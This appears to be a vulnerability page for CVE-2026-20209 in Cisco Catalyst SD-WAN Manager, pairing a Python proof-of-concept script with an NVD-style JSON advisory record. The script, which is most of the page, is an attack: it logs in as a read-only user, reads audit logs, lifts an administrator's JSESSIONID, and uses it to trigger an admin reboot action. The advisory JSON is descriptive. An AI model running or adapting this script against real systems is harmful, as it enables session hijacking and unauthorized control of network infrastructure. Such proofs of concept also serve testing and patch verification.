CVE-2026-20209

import requests # Conceptual Proof of Concept for CVE-2026-20209 # This script simulates an attacker exploiting log leakage to escalate privileges. target_url = "https://<target-ip>/" login_url = f"{target_url}j_security_check" audit_log_url = f"{target_url}dataservice/audit/auditlog" admin_action_url = f"{target_url}dataservice/admin/action" # Attacker's low-privileged credentials low_user = "readonly_user" low_pass = "password123" session = requests.Session() # Step 1: Authenticate with low privileges print("[+] Attempting login with low privileges...") login_data = {"j_username": low_user, "j_password": low_pass} response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Login failed.") exit() # Step 2: Access Audit Logs to find sensitive session info print("[+] Fetching audit logs...") response = session.get(audit_log_url) logs = response.json() # Step 3: Parse logs for high-privileged session token (Conceptual extraction) # Assuming the log contains a field 'admin_token' or similar sensitive data high_priv_token = None for entry in logs: if "admin" in entry.get("user", "").lower() and "JSESSIONID" in entry.get("details", ""): # Extract sensitive token from log details high_priv_token = entry["details"].split("JSESSIONID=")[1].split(" ")[0] print(f"[+] Found high-privileged token in logs: {high_priv_token[:10]}...") break if not high_priv_token: print("[-] Could not find token in logs.") exit() # Step 4: Escalate Privileges by using the extracted token print("[+] Attempting to perform admin action...") session.cookies.set("JSESSIONID", high_priv_token) # Overwrite current session # Perform an action that requires high privileges admin_response = session.post(admin_action_url, json={"action": "reboot"}) if admin_response.status_code == 200: print("[+] Privilege escalation successful! Action performed.") else: print("[-] Action failed.")

{"cve": {"id": "CVE-2026-20209", "sourceIdentifier": "[email protected]", "published": "2026-05-14T17:16:19.750", "lastModified": "2026-05-14T17:19:57.600", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web UI of Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, could allow an authenticated, remote attacker with read-only permissions to elevate their privileges from low to high and perform actions as a high-privileged user.\r\n\r\nThis vulnerability exists because sensitive session information is recorded in audit logs. An attacker could exploit this vulnerability by elevating their read-only permissions in Cisco Catalyst SD-WAN Manager to those of a high-privileged user. A successful exploit could allow the attacker to perform actions as a high-privileged user."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-779"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-mltvnps2-JxpWm7R", "source": "[email protected]"}, {"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa-EHchtZk", "source": "[email protected]"}]}}